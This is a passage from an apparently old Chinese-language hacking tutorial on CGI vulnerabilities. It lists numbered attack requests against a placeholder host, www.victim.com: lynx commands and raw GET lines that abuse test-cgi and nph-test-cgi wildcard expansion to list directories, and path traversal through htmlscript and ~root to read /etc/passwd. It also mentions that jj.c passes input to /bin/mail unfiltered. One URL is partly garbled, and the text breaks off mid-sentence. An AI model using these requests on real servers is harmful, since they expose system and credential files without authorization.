|
CGI漏洞(4) GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
得到一些http的目录 lynx  http://www.victim.com/cgi-bin/test-cgi?�...t%20/etc/passwd
这招好象并不管用.
lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*
还可以这样试
GET /cgi-bin/test-cgi?* HTTP/1.0
GET /cgi-bin/test-cgi?x *
GET /cgi-bin/nph-test-cgi?* HTTP/1.0
GET /cgi-bin/nph-test-cgi?x *
GET /cgi-bin/test-cgi?x HTTP/1.0 *
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
十六.对于某些BSD的apache可以: lynx http://www.victim.com/root/etc/passwd
lynx http://www.victim.com/~root/etc/passwd 十七.htmlscript lynx http://www.victim.com/cgi-bin/htmlscript?...../../etc/passwd 十八.jj.c The demo cgi program jj.c calls /bin/mail without filtering user
| 
